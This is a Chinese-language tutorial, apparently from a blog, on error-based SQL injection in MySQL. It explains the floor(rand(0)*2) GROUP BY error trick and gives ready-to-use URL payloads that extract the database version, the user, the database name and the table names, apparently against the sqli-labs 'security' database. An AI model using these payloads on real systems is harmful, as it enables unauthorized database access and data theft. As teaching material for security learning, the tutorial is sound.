SQL注入进阶篇——SQL盲注(基于报错)

基于报错注入

报错注入原理:

  由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段。
  floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误
  floor:向下取整,只保留整数部分,rand(0) -> 0~1

当我们在掌握了盲注的技巧后,发现当我们闭合了第一个参数后有明显的报错信息,我们就可以考虑基于报错的注入了

SQL注入进阶篇——SQL盲注(基于报错)_第1张图片

先来个一个爆当前数据库的版本:

?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+

SQL注入进阶篇——SQL盲注(基于报错)_第2张图片

爆破当前数据库的的用户和当前所在的数据,发现当前的用户为root,当前的数据库为security

?id=1' union  Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+

?id=1' union  Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+

SQL注入进阶篇——SQL盲注(基于报错)_第3张图片SQL注入进阶篇——SQL盲注(基于报错)_第4张图片

爆破当前的数据下的所以表的名字,同过修改limit 后面的参数来判断当前数据库下有多少表,当我们输入4的时候没报错就正面当前有4个表

注:limit是从0开始的

?id=1' union select 1,count(*),concat(0x3a,0x3a,(select  table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand(0)*2) )  a from  information_schema.tables  group by a --+

SQL注入进阶篇——SQL盲注(基于报错)_第5张图片

SQL注入进阶篇——SQL盲注(基于报错)_第6张图片

你可能感兴趣的:(SQL注入)